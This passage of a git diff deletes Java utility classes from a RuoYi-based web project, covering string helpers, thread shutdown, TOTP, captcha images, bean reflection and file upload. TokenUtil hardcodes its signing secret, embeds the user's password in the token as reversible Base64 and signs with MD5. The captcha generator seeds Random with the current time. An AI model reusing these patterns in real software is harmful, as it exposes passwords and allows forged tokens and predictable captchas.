response.getWriter().print(string); - } - catch (IOException e) - { - e.printStackTrace(); - } - return null; - } - - /** - * 是否是Ajax异步请求 - * - * @param request - */ - public static boolean isAjaxRequest(HttpServletRequest request) - { - String accept = request.getHeader("accept"); - if (accept != null && accept.indexOf("application/json") != -1) - { - return true; - } - - String xRequestedWith = request.getHeader("X-Requested-With"); - if (xRequestedWith != null && xRequestedWith.indexOf("XMLHttpRequest") != -1) - { - return true; - } - - String uri = request.getRequestURI(); - if (StringUtils.inStringIgnoreCase(uri, ".json", ".xml")) - { - return true; - } - - String ajax = request.getParameter("__ajax"); - if (StringUtils.inStringIgnoreCase(ajax, "json", "xml")) - { - return true; - } - return false; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java deleted file mode 100644 index a81a901..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/StringUtils.java +++ /dev/null @@ -1,457 +0,0 @@ -package com.ruoyi.common.utils; - -import java.util.*; - -import com.ruoyi.common.core.text.StrFormatter; - -/** - * 字符串工具类 - * - * @author ruoyi - */ -public class StringUtils extends org.apache.commons.lang3.StringUtils -{ - /** 空字符串 */ - private static final String NULLSTR = ""; - - /** 下划线 */ - private static final char SEPARATOR = '_'; - public static String uuid(){ - return UUID.randomUUID().toString().replaceAll("-", ""); - } - /** - * 获取参数不为空值 - * - * @param value defaultValue 要判断的value - * @return value 返回值 - */ - public static T nvl(T value, T defaultValue) - { - return value != null ? value : defaultValue; - } - - /** - * * 判断一个Collection是否为空, 包含List,Set,Queue - * - * @param coll 要判断的Collection - * @return true:为空 false:非空 - */ - public static boolean isEmpty(Collection coll) - { - return isNull(coll) || coll.isEmpty(); - } - - /** - * * 判断一个Collection是否非空,包含List,Set,Queue - * - * @param coll 要判断的Collection - * @return true:非空 false:空 - */ - public static boolean isNotEmpty(Collection coll) - { - return !isEmpty(coll); - } - - /** - * * 判断一个对象数组是否为空 - * - * @param objects 要判断的对象数组 - ** @return true:为空 false:非空 - */ - public static boolean isEmpty(Object[] objects) - { - return isNull(objects) || (objects.length == 0); - } - - /** - * * 判断一个对象数组是否非空 - * - * @param objects 要判断的对象数组 - * @return true:非空 false:空 - */ - public static boolean isNotEmpty(Object[] objects) - { - return !isEmpty(objects); - } - - /** - * * 判断一个Map是否为空 - * - * @param map 要判断的Map - * @return true:为空 false:非空 - */ - public static boolean isEmpty(Map map) - { - return isNull(map) || map.isEmpty(); - } - - /** - * * 判断一个Map是否为空 - * - * @param map 要判断的Map - * @return true:非空 false:空 - */ - public static boolean isNotEmpty(Map map) - { - return !isEmpty(map); - } - - /** - * * 判断一个字符串是否为空串 - * - * @param str String - * @return true:为空 false:非空 - */ - public static boolean isEmpty(String str) - { - return isNull(str) || NULLSTR.equals(str.trim()); - } - - /** - * * 判断一个字符串是否为非空串 - * - * @param str String - * @return true:非空串 false:空串 - */ - public static boolean isNotEmpty(String str) - { - return !isEmpty(str); - } - - /** - * * 判断一个对象是否为空 - * - * @param object Object - * @return true:为空 false:非空 - */ - public static boolean isNull(Object object) - { - return object == null; - } - - /** - * * 判断一个对象是否非空 - * - * @param object Object - * @return true:非空 false:空 - */ - public static boolean isNotNull(Object object) - { - return !isNull(object); - } - - /** - * * 判断一个对象是否是数组类型(Java基本型别的数组) - * - * @param object 对象 - * @return true:是数组 false:不是数组 - */ - public static boolean isArray(Object object) - { - return isNotNull(object) && object.getClass().isArray(); - } - - /** - * 去空格 - */ - public static String trim(String str) - { - return (str == null ? "" : str.trim()); - } - - /** - * 截取字符串 - * - * @param str 字符串 - * @param start 开始 - * @return 结果 - */ - public static String substring(final String str, int start) - { - if (str == null) - { - return NULLSTR; - } - - if (start < 0) - { - start = str.length() + start; - } - - if (start < 0) - { - start = 0; - } - if (start > str.length()) - { - return NULLSTR; - } - - return str.substring(start); - } - - /** - * 截取字符串 - * - * @param str 字符串 - * @param start 开始 - * @param end 结束 - * @return 结果 - */ - public static String substring(final String str, int start, int end) - { - if (str == null) - { - return NULLSTR; - } - - if (end < 0) - { - end = str.length() + end; - } - if (start < 0) - { - start = str.length() + start; - } - - if (end > str.length()) - { - end = str.length(); - } - - if (start > end) - { - return NULLSTR; - } - - if (start < 0) - { - start = 0; - } - if (end < 0) - { - end = 0; - } - - return str.substring(start, end); - } - - /** - * 格式化文本, {} 表示占位符
- * 此方法只是简单将占位符 {} 按照顺序替换为参数
- * 如果想输出 {} 使用 \\转义 { 即可,如果想输出 {} 之前的 \ 使用双转义符 \\\\ 即可
- * 例:
- * 通常使用:format("this is {} for {}", "a", "b") -> this is a for b
- * 转义{}: format("this is \\{} for {}", "a", "b") -> this is \{} for a
- * 转义\: format("this is \\\\{} for {}", "a", "b") -> this is \a for b
- * - * @param template 文本模板,被替换的部分用 {} 表示 - * @param params 参数值 - * @return 格式化后的文本 - */ - public static String format(String template, Object... params) - { - if (isEmpty(params) || isEmpty(template)) - { - return template; - } - return StrFormatter.format(template, params); - } - - /** - * 字符串转set - * - * @param str 字符串 - * @param sep 分隔符 - * @return set集合 - */ - public static final Set str2Set(String str, String sep) - { - return new HashSet(str2List(str, sep, true, false)); - } - - /** - * 字符串转list - * - * @param str 字符串 - * @param sep 分隔符 - * @param filterBlank 过滤纯空白 - * @param trim 去掉首尾空白 - * @return list集合 - */ - public static final List str2List(String str, String sep, boolean filterBlank, boolean trim) - { - List list = new ArrayList(); - if (StringUtils.isEmpty(str)) - { - return list; - } - - // 过滤空白字符串 - if (filterBlank && StringUtils.isBlank(str)) - { - return list; - } - String[] split = str.split(sep); - for (String string : split) - { - if (filterBlank && StringUtils.isBlank(string)) - { - continue; - } - if (trim) - { - string = string.trim(); - } - list.add(string); - } - - return list; - } - - /** - * 驼峰转下划线命名 - */ - public static String toUnderScoreCase(String str) - { - if (str == null) - { - return null; - } - StringBuilder sb = new StringBuilder(); - // 前置字符是否大写 - boolean preCharIsUpperCase = true; - // 当前字符是否大写 - boolean curreCharIsUpperCase = true; - // 下一字符是否大写 - boolean nexteCharIsUpperCase = true; - for (int i = 0; i < str.length(); i++) - { - char c = str.charAt(i); - if (i > 0) - { - preCharIsUpperCase = Character.isUpperCase(str.charAt(i - 1)); - } - else - { - preCharIsUpperCase = false; - } - - curreCharIsUpperCase = Character.isUpperCase(c); - - if (i < (str.length() - 1)) - { - nexteCharIsUpperCase = Character.isUpperCase(str.charAt(i + 1)); - } - - if (preCharIsUpperCase && curreCharIsUpperCase && !nexteCharIsUpperCase) - { - sb.append(SEPARATOR); - } - else if ((i != 0 && !preCharIsUpperCase) && curreCharIsUpperCase) - { - sb.append(SEPARATOR); - } - sb.append(Character.toLowerCase(c)); - } - - return sb.toString(); - } - - /** - * 是否包含字符串 - * - * @param str 验证字符串 - * @param strs 字符串组 - * @return 包含返回true - */ - public static boolean inStringIgnoreCase(String str, String... strs) - { - if (str != null && strs != null) - { - for (String s : strs) - { - if (str.equalsIgnoreCase(trim(s))) - { - return true; - } - } - } - return false; - } - - /** - * 将下划线大写方式命名的字符串转换为驼峰式。如果转换前的下划线大写方式命名的字符串为空,则返回空字符串。 例如:HELLO_WORLD->HelloWorld - * - * @param name 转换前的下划线大写方式命名的字符串 - * @return 转换后的驼峰式命名的字符串 - */ - public static String convertToCamelCase(String name) - { - StringBuilder result = new StringBuilder(); - // 快速检查 - if (name == null || name.isEmpty()) - { - // 没必要转换 - return ""; - } - else if (!name.contains("_")) - { - // 不含下划线,仅将首字母大写 - return name.substring(0, 1).toUpperCase() + name.substring(1); - } - // 用下划线将原始字符串分割 - String[] camels = name.split("_"); - for (String camel : camels) - { - // 跳过原始字符串中开头、结尾的下换线或双重下划线 - if (camel.isEmpty()) - { - continue; - } - // 首字母大写 - result.append(camel.substring(0, 1).toUpperCase()); - result.append(camel.substring(1).toLowerCase()); - } - return result.toString(); - } - - /** - * 驼峰式命名法 例如:user_name->userName - */ - public static String toCamelCase(String s) - { - if (s == null) - { - return null; - } - s = s.toLowerCase(); - StringBuilder sb = new StringBuilder(s.length()); - boolean upperCase = false; - for (int i = 0; i < s.length(); i++) - { - char c = s.charAt(i); - - if (c == SEPARATOR) - { - upperCase = true; - } - else if (upperCase) - { - sb.append(Character.toUpperCase(c)); - upperCase = false; - } - else - { - sb.append(c); - } - } - return sb.toString(); - } - - @SuppressWarnings("unchecked") - public static T cast(Object obj) - { - return (T) obj; - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java deleted file mode 100644 index 1934195..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/Threads.java +++ /dev/null @@ -1,99 +0,0 @@ -package com.ruoyi.common.utils; - -import java.util.concurrent.CancellationException; -import java.util.concurrent.ExecutionException; -import java.util.concurrent.ExecutorService; -import java.util.concurrent.Future; -import java.util.concurrent.TimeUnit; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - -/** - * 线程相关工具类. - * - * @author ruoyi - */ -public class Threads -{ - private static final Logger logger = LoggerFactory.getLogger(Threads.class); - - /** - * sleep等待,单位为毫秒 - */ - public static void sleep(long milliseconds) - { - try - { - Thread.sleep(milliseconds); - } - catch (InterruptedException e) - { - return; - } - } - - /** - * 停止线程池 - * 先使用shutdown, 停止接收新任务并尝试完成所有已存在任务. - * 如果超时, 则调用shutdownNow, 取消在workQueue中Pending的任务,并中断所有阻塞函数. - * 如果仍人超時,則強制退出. - * 另对在shutdown时线程本身被调用中断做了处理. - */ - public static void shutdownAndAwaitTermination(ExecutorService pool) - { - if (pool != null && !pool.isShutdown()) - { - pool.shutdown(); - try - { - if (!pool.awaitTermination(120, TimeUnit.SECONDS)) - { - pool.shutdownNow(); - if (!pool.awaitTermination(120, TimeUnit.SECONDS)) - { - logger.info("Pool did not terminate"); - } - } - } - catch (InterruptedException ie) - { - pool.shutdownNow(); - Thread.currentThread().interrupt(); - } - } - } - - /** - * 打印线程异常信息 - */ - public static void printException(Runnable r, Throwable t) - { - if (t == null && r instanceof Future) - { - try - { - Future future = (Future) r; - if (future.isDone()) - { - future.get(); - } - } - catch (CancellationException ce) - { - t = ce; - } - catch (ExecutionException ee) - { - t = ee.getCause(); - } - catch (InterruptedException ie) - { - Thread.currentThread().interrupt(); - } - } - if (t != null) - { - logger.error(t.getMessage(), t); - } - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/TokenUtil.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TokenUtil.java deleted file mode 100644 index 3af3419..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/TokenUtil.java +++ /dev/null @@ -1,82 +0,0 @@ -package com.ruoyi.common.utils; -import java.nio.charset.StandardCharsets; -import java.security.MessageDigest; -import java.util.Base64; - -public class TokenUtil { - - private static final String SECRET = "lu7213"; - - public static void main(String[] args) { - String token = TokenUtil.generateToken("admin", "123456"); - System.out.println(token); - } - /** - * 生成24小时token - */ - public static String generateToken(String username, String password) { - long expireAt = System.currentTimeMillis() + 24 * 60 * 60 * 1000L; - - String rawCredential = Base64.getEncoder().encodeToString( - (username + ":" + password).getBytes(StandardCharsets.UTF_8) - ); - - String sign = md5(rawCredential + ":" + expireAt + ":" + SECRET); - - String payload = rawCredential + ":" + expireAt + ":" + sign; - - return Base64.getUrlEncoder() - .withoutPadding() - .encodeToString(payload.getBytes(StandardCharsets.UTF_8)); - } - - /** - * 校验token - */ - public static boolean validateToken(String username, String password,String token) { - try { - String rawCredential = Base64.getEncoder().encodeToString( - (username + ":" + password).getBytes(StandardCharsets.UTF_8) - ); - String decoded = new String( - Base64.getUrlDecoder().decode(token), - StandardCharsets.UTF_8 - ); - String[] parts = decoded.split(":"); - if (parts.length != 3) { - return false; - } - if(!parts[0].equals(rawCredential)){ - return false; - } - String expireStr = parts[1]; - String sign = parts[2] ; - long expireAt = Long.parseLong(expireStr); - if (System.currentTimeMillis() > expireAt) { - return false; - } - String expectedSign = md5(rawCredential + ":" + expireAt + ":" + SECRET); - - return expectedSign.equals(sign); - - } catch (Exception e) { - return false; - } - } - - private static String md5(String str) { - try { - byte[] digest = MessageDigest.getInstance("MD5") - .digest(str.getBytes(StandardCharsets.UTF_8)); - - StringBuilder sb = new StringBuilder(); - for (byte b : digest) { - sb.append(String.format("%02x", b)); - } - return sb.toString(); - - } catch (Exception e) { - throw new RuntimeException(e); - } - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/TotpUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/TotpUtils.java deleted file mode 100644 index 3dd0c18..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/TotpUtils.java +++ /dev/null @@ -1,87 +0,0 @@ -package com.ruoyi.common.utils; - -import java.nio.ByteBuffer; -import java.nio.charset.StandardCharsets; -import java.security.GeneralSecurityException; -import java.security.MessageDigest; -import java.security.SecureRandom; -import java.util.Locale; -import javax.crypto.Mac; -import javax.crypto.spec.SecretKeySpec; - -/** Google Authenticator 兼容的 RFC 6238:SHA-1、30 秒、6 位数字。 */ -public final class TotpUtils { - private static final String BASE32 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"; - private static final SecureRandom RANDOM = new SecureRandom(); - - private TotpUtils() { } - - /** 160 位随机密钥,Base32 无填充编码,不能写日志。 */ - public static String newSecret() { - byte[] bytes = new byte[20]; - RANDOM.nextBytes(bytes); - StringBuilder value = new StringBuilder(32); - int buffer = 0; - int bits = 0; - for (byte item : bytes) { - buffer = (buffer << 8) | (item & 255); - bits += 8; - while (bits >= 5) { - bits -= 5; - value.append(BASE32.charAt((buffer >> bits) & 31)); - } - } - return value.toString(); - } - - /** 返回命中的时间步;允许前后各 30 秒时钟误差,失败返回 -1。 */ - public static long matchingStep(String secret, String code, long epochSeconds) { - if (code == null || !code.matches("[0-9]{6}")) { - return -1; - } - long current = epochSeconds / 30; - // 优先当前步,保留六位码的前导零;时间步消费由数据库原子完成。 - for (int offset : new int[] {0, -1, 1}) { - long step = current + offset; - if (step >= 0 && MessageDigest.isEqual(generate(secret, step).getBytes(StandardCharsets.US_ASCII), - code.getBytes(StandardCharsets.US_ASCII))) { - return step; - } - } - return -1; - } - - public static String generate(String secret, long step) { - try { - Mac mac = Mac.getInstance("HmacSHA1"); - mac.init(new SecretKeySpec(decode(secret), "HmacSHA1")); - byte[] hash = mac.doFinal(ByteBuffer.allocate(8).putLong(step).array()); - int offset = hash[hash.length - 1] & 15; - int number = ((hash[offset] & 127) << 24) | ((hash[offset + 1] & 255) << 16) - | ((hash[offset + 2] & 255) << 8) | (hash[offset + 3] & 255); - return String.format(Locale.ROOT, "%06d", number % 1000000); - } catch (GeneralSecurityException exception) { - throw new IllegalStateException("动态码算法不可用"); - } - } - - private static byte[] decode(String value) { - byte[] result = new byte[value.length() * 5 / 8]; - int buffer = 0; - int bits = 0; - int index = 0; - for (char character : value.toCharArray()) { - int digit = BASE32.indexOf(character); - if (digit < 0) { - throw new IllegalArgumentException("动态码密钥格式无效"); - } - buffer = (buffer << 5) | digit; - bits += 5; - if (bits >= 8) { - bits -= 8; - result[index++] = (byte) (buffer >> bits); - } - } - return result; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/VerifyCodeUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/VerifyCodeUtils.java deleted file mode 100644 index 5fdf3a9..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/VerifyCodeUtils.java +++ /dev/null @@ -1,228 +0,0 @@ -package com.ruoyi.common.utils; - -import java.awt.Color; -import java.awt.Font; -import java.awt.Graphics; -import java.awt.Graphics2D; -import java.awt.RenderingHints; -import java.awt.geom.AffineTransform; -import java.awt.image.BufferedImage; -import java.io.IOException; -import java.io.OutputStream; -import java.security.SecureRandom; -import java.util.Arrays; -import java.util.Random; -import javax.imageio.ImageIO; - -/** - * 验证码工具类 - * - * @author ruoyi - */ -public class VerifyCodeUtils -{ - // 使用到Algerian字体,系统里没有的话需要安装字体,字体只显示大写,去掉了1,0,i,o几个容易混淆的字符 - public static final String VERIFY_CODES = "123456789ABCDEFGHJKLMNPQRSTUVWXYZ"; - - private static Random random = new SecureRandom(); - - /** - * 使用系统默认字符源生成验证码 - * - * @param verifySize 验证码长度 - * @return - */ - public static String generateVerifyCode(int verifySize) - { - return generateVerifyCode(verifySize, VERIFY_CODES); - } - - /** - * 使用指定源生成验证码 - * - * @param verifySize 验证码长度 - * @param sources 验证码字符源 - * @return - */ - public static String generateVerifyCode(int verifySize, String sources) - { - if (sources == null || sources.length() == 0) - { - sources = VERIFY_CODES; - } - int codesLen = sources.length(); - Random rand = new Random(System.currentTimeMillis()); - StringBuilder verifyCode = new StringBuilder(verifySize); - for (int i = 0; i < verifySize; i++) - { - verifyCode.append(sources.charAt(rand.nextInt(codesLen - 1))); - } - return verifyCode.toString(); - } - - /** - * 输出指定验证码图片流 - * - * @param w - * @param h - * @param os - * @param code - * @throws IOException - */ - public static void outputImage(int w, int h, OutputStream os, String code) throws IOException - { - int verifySize = code.length(); - BufferedImage image = new BufferedImage(w, h, BufferedImage.TYPE_INT_RGB); - Random rand = new Random(); - Graphics2D g2 = image.createGraphics(); - g2.setRenderingHint(RenderingHints.KEY_ANTIALIASING, RenderingHints.VALUE_ANTIALIAS_ON); - Color[] colors = new Color[5]; - Color[] colorSpaces = new Color[] { Color.WHITE, Color.CYAN, Color.GRAY, Color.LIGHT_GRAY, Color.MAGENTA, - Color.ORANGE, Color.PINK, Color.YELLOW }; - float[] fractions = new float[colors.length]; - for (int i = 0; i < colors.length; i++) - { - colors[i] = colorSpaces[rand.nextInt(colorSpaces.length)]; - fractions[i] = rand.nextFloat(); - } - Arrays.sort(fractions); - - g2.setColor(Color.GRAY);// 设置边框色 - g2.fillRect(0, 0, w, h); - - Color c = getRandColor(200, 250); - g2.setColor(c);// 设置背景色 - g2.fillRect(0, 2, w, h - 4); - - // 绘制干扰线 - Random random = new Random(); - g2.setColor(getRandColor(160, 200));// 设置线条的颜色 - for (int i = 0; i < 20; i++) - { - int x = random.nextInt(w - 1); - int y = random.nextInt(h - 1); - int xl = random.nextInt(6) + 1; - int yl = random.nextInt(12) + 1; - g2.drawLine(x, y, x + xl + 40, y + yl + 20); - } - - // 添加噪点 - float yawpRate = 0.05f;// 噪声率 - int area = (int) (yawpRate * w * h); - for (int i = 0; i < area; i++) - { - int x = random.nextInt(w); - int y = random.nextInt(h); - int rgb = getRandomIntColor(); - image.setRGB(x, y, rgb); - } - - shear(g2, w, h, c);// 使图片扭曲 - - g2.setColor(getRandColor(100, 160)); - int fontSize = h - 4; - Font font = new Font("Algerian", Font.ITALIC, fontSize); - g2.setFont(font); - char[] chars = code.toCharArray(); - for (int i = 0; i < verifySize; i++) - { - AffineTransform affine = new AffineTransform(); - affine.setToRotation(Math.PI / 4 * rand.nextDouble() * (rand.nextBoolean() ? 1 : -1), - (w / verifySize) * i + fontSize / 2, h / 2); - g2.setTransform(affine); - g2.drawChars(chars, i, 1, ((w - 10) / verifySize) * i + 5, h / 2 + fontSize / 2 - 10); - } - - g2.dispose(); - ImageIO.write(image, "jpg", os); - } - - private static Color getRandColor(int fc, int bc) - { - if (fc > 255) { - fc = 255; - } - if (bc > 255) { - bc = 255; - } - int r = fc + random.nextInt(bc - fc); - int g = fc + random.nextInt(bc - fc); - int b = fc + random.nextInt(bc - fc); - return new Color(r, g, b); - } - - private static int getRandomIntColor() - { - int[] rgb = getRandomRgb(); - int color = 0; - for (int c : rgb) - { - color = color << 8; - color = color | c; - } - return color; - } - - private static int[] getRandomRgb() - { - int[] rgb = new int[3]; - for (int i = 0; i < 3; i++) - { - rgb[i] = random.nextInt(255); - } - return rgb; - } - - private static void shear(Graphics g, int w1, int h1, Color color) - { - shearX(g, w1, h1, color); - shearY(g, w1, h1, color); - } - - private static void shearX(Graphics g, int w1, int h1, Color color) - { - - int period = random.nextInt(2); - - boolean borderGap = true; - int frames = 1; - int phase = random.nextInt(2); - - for (int i = 0; i < h1; i++) - { - double d = (double) (period >> 1) - * Math.sin((double) i / (double) period + (6.2831853071795862D * (double) phase) / (double) frames); - g.copyArea(0, i, w1, 1, (int) d, 0); - if (borderGap) - { - g.setColor(color); - g.drawLine((int) d, i, 0, i); - g.drawLine((int) d + w1, i, w1, i); - } - } - - } - - private static void shearY(Graphics g, int w1, int h1, Color color) - { - - int period = random.nextInt(40) + 10; // 50; - - boolean borderGap = true; - int frames = 20; - int phase = 7; - for (int i = 0; i < w1; i++) - { - double d = (double) (period >> 1) - * Math.sin((double) i / (double) period + (6.2831853071795862D * (double) phase) / (double) frames); - g.copyArea(i, 0, 1, h1, 0, (int) d); - if (borderGap) - { - g.setColor(color); - g.drawLine(i, (int) d, i, 0); - g.drawLine(i, (int) d + h1, i, h1); - } - - } - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java deleted file mode 100644 index 4463662..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/bean/BeanUtils.java +++ /dev/null @@ -1,110 +0,0 @@ -package com.ruoyi.common.utils.bean; - -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.List; -import java.util.regex.Matcher; -import java.util.regex.Pattern; - -/** - * Bean 工具类 - * - * @author ruoyi - */ -public class BeanUtils extends org.springframework.beans.BeanUtils -{ - /** Bean方法名中属性名开始的下标 */ - private static final int BEAN_METHOD_PROP_INDEX = 3; - - /** * 匹配getter方法的正则表达式 */ - private static final Pattern GET_PATTERN = Pattern.compile("get(\\p{javaUpperCase}\\w*)"); - - /** * 匹配setter方法的正则表达式 */ - private static final Pattern SET_PATTERN = Pattern.compile("set(\\p{javaUpperCase}\\w*)"); - - /** - * Bean属性复制工具方法。 - * - * @param dest 目标对象 - * @param src 源对象 - */ - public static void copyBeanProp(Object dest, Object src) - { - try - { - copyProperties(src, dest); - } - catch (Exception e) - { - e.printStackTrace(); - } - } - - /** - * 获取对象的setter方法。 - * - * @param obj 对象 - * @return 对象的setter方法列表 - */ - public static List getSetterMethods(Object obj) - { - // setter方法列表 - List setterMethods = new ArrayList(); - - // 获取所有方法 - Method[] methods = obj.getClass().getMethods(); - - // 查找setter方法 - - for (Method method : methods) - { - Matcher m = SET_PATTERN.matcher(method.getName()); - if (m.matches() && (method.getParameterTypes().length == 1)) - { - setterMethods.add(method); - } - } - // 返回setter方法列表 - return setterMethods; - } - - /** - * 获取对象的getter方法。 - * - * @param obj 对象 - * @return 对象的getter方法列表 - */ - - public static List getGetterMethods(Object obj) - { - // getter方法列表 - List getterMethods = new ArrayList(); - // 获取所有方法 - Method[] methods = obj.getClass().getMethods(); - // 查找getter方法 - for (Method method : methods) - { - Matcher m = GET_PATTERN.matcher(method.getName()); - if (m.matches() && (method.getParameterTypes().length == 0)) - { - getterMethods.add(method); - } - } - // 返回getter方法列表 - return getterMethods; - } - - /** - * 检查Bean方法名中的属性名是否相等。
- * 如getName()和setName()属性名一样,getName()和setAge()属性名不一样。 - * - * @param m1 方法名1 - * @param m2 方法名2 - * @return 属性名一样返回true,否则返回false - */ - - public static boolean isMethodPropEquals(String m1, String m2) - { - return m1.substring(BEAN_METHOD_PROP_INDEX).equals(m2.substring(BEAN_METHOD_PROP_INDEX)); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java deleted file mode 100644 index 68130b9..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileTypeUtils.java +++ /dev/null @@ -1,76 +0,0 @@ -package com.ruoyi.common.utils.file; - -import java.io.File; -import org.apache.commons.lang3.StringUtils; - -/** - * 文件类型工具类 - * - * @author ruoyi - */ -public class FileTypeUtils -{ - /** - * 获取文件类型 - *

- * 例如: ruoyi.txt, 返回: txt - * - * @param file 文件名 - * @return 后缀(不含".") - */ - public static String getFileType(File file) - { - if (null == file) - { - return StringUtils.EMPTY; - } - return getFileType(file.getName()); - } - - /** - * 获取文件类型 - *

- * 例如: ruoyi.txt, 返回: txt - * - * @param fileName 文件名 - * @return 后缀(不含".") - */ - public static String getFileType(String fileName) - { - int separatorIndex = fileName.lastIndexOf("."); - if (separatorIndex < 0) - { - return ""; - } - return fileName.substring(separatorIndex + 1).toLowerCase(); - } - - /** - * 获取文件类型 - * - * @param photoByte 文件字节码 - * @return 后缀(不含".") - */ - public static String getFileExtendName(byte[] photoByte) - { - String strFileExtendName = "JPG"; - if ((photoByte[0] == 71) && (photoByte[1] == 73) && (photoByte[2] == 70) && (photoByte[3] == 56) - && ((photoByte[4] == 55) || (photoByte[4] == 57)) && (photoByte[5] == 97)) - { - strFileExtendName = "GIF"; - } - else if ((photoByte[6] == 74) && (photoByte[7] == 70) && (photoByte[8] == 73) && (photoByte[9] == 70)) - { - strFileExtendName = "JPG"; - } - else if ((photoByte[0] == 66) && (photoByte[1] == 77)) - { - strFileExtendName = "BMP"; - } - else if ((photoByte[1] == 80) && (photoByte[2] == 78) && (photoByte[3] == 71)) - { - strFileExtendName = "PNG"; - } - return strFileExtendName; - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java b/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java deleted file mode 100644 index 3ccbcb5..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/utils/file/FileUploadUtils.java +++ /dev/null @@ -1,231 +0,0 @@ -package com.ruoyi.common.utils.file; - -import java.io.File; -import java.io.IOException; -import org.apache.commons.io.FilenameUtils; -import org.springframework.web.multipart.MultipartFile; -import com.ruoyi.common.config.RuoYiConfig; -import com.ruoyi.common.constant.Constants; -import com.ruoyi.common.exception.file.FileNameLengthLimitExceededException; -import com.ruoyi.common.exception.file.FileSizeLimitExceededException; -import com.ruoyi.common.exception.file.InvalidExtensionException; -import com.ruoyi.common.utils.DateUtils; -import com.ruoyi.common.utils.StringUtils; -import com.ruoyi.common.utils.uuid.IdUtils; - -/** - * 文件上传工具类 - * - * @author ruoyi - */ -public class FileUploadUtils -{ - /** - * 默认大小 50M - */ - public static final long DEFAULT_MAX_SIZE = 50 * 1024 * 1024; - - /** - * 默认的文件名最大长度 100 - */ - public static final int DEFAULT_FILE_NAME_LENGTH = 100; - - /** - * 默认上传的地址 - */ - private static String defaultBaseDir = RuoYiConfig.getProfile(); - - public static void setDefaultBaseDir(String defaultBaseDir) - { - FileUploadUtils.defaultBaseDir = defaultBaseDir; - } - - public static String getDefaultBaseDir() - { - return defaultBaseDir; - } - - /** - * 以默认配置进行文件上传 - * - * @param file 上传的文件 - * @return 文件名称 - * @throws Exception - */ - public static final String upload(MultipartFile file) throws IOException - { - try - { - return upload(getDefaultBaseDir(), file, MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION); - } - catch (Exception e) - { - throw new IOException(e.getMessage(), e); - } - } - - /** - * 根据文件路径上传 - * - * @param baseDir 相对应用的基目录 - * @param file 上传的文件 - * @return 文件名称 - * @throws IOException - */ - public static final String upload(String baseDir, MultipartFile file) throws IOException - { - try - { - return upload(baseDir, file, MimeTypeUtils.DEFAULT_ALLOWED_EXTENSION); - } - catch (Exception e) - { - throw new IOException(e.getMessage(), e); - } - } - - /** - * 文件上传 - * - * @param baseDir 相对应用的基目录 - * @param file 上传的文件 - * @param allowedExtension 上传文件类型 - * @return 返回上传成功的文件名 - * @throws FileSizeLimitExceededException 如果超出最大大小 - * @throws FileNameLengthLimitExceededException 文件名太长 - * @throws IOException 比如读写文件出错时 - * @throws InvalidExtensionException 文件校验异常 - */ - public static final String upload(String baseDir, MultipartFile file, String[] allowedExtension) - throws FileSizeLimitExceededException, IOException, FileNameLengthLimitExceededException, - InvalidExtensionException - { - int fileNamelength = file.getOriginalFilename().length(); - if (fileNamelength > FileUploadUtils.DEFAULT_FILE_NAME_LENGTH) - { - throw new FileNameLengthLimitExceededException(FileUploadUtils.DEFAULT_FILE_NAME_LENGTH); - } - - assertAllowed(file, allowedExtension); - - String fileName = extractFilename(file); - - File desc = getAbsoluteFile(baseDir, fileName); - file.transferTo(desc); - String pathFileName = getPathFileName(baseDir, fileName); - return pathFileName; - } - - /** - * 编码文件名 - */ - public static final String extractFilename(MultipartFile file) - { - String fileName = file.getOriginalFilename(); - String extension = getExtension(file); - fileName = DateUtils.datePath() + "/" + IdUtils.fastUUID() + "." + extension; - return fileName; - } - - private static final File getAbsoluteFile(String uploadDir, String fileName) throws IOException - { - File desc = new File(uploadDir + File.separator + fileName); - - if (!desc.getParentFile().exists()) - { - desc.getParentFile().mkdirs(); - } - if (!desc.exists()) - { - desc.createNewFile(); - } - return desc; - } - - private static final String getPathFileName(String uploadDir, String fileName) throws IOException - { - int dirLastIndex = RuoYiConfig.getProfile().length() + 1; - String currentDir = StringUtils.substring(uploadDir, dirLastIndex); - String pathFileName = Constants.RESOURCE_PREFIX + "/" + currentDir + "/" + fileName; - return pathFileName; - } - - /** - * 文件大小校验 - * - * @param file 上传的文件 - * @return - * @throws FileSizeLimitExceededException 如果超出最大大小 - * @throws InvalidExtensionException - */ - public static final void assertAllowed(MultipartFile file, String[] allowedExtension) - throws FileSizeLimitExceededException, InvalidExtensionException - { - long size = file.getSize(); - if (DEFAULT_MAX_SIZE != -1 && size > DEFAULT_MAX_SIZE) - { - throw new FileSizeLimitExceededException(DEFAULT_MAX_SIZE / 1024 / 1024); - } - - String fileName = file.getOriginalFilename(); - String extension = getExtension(file); - if 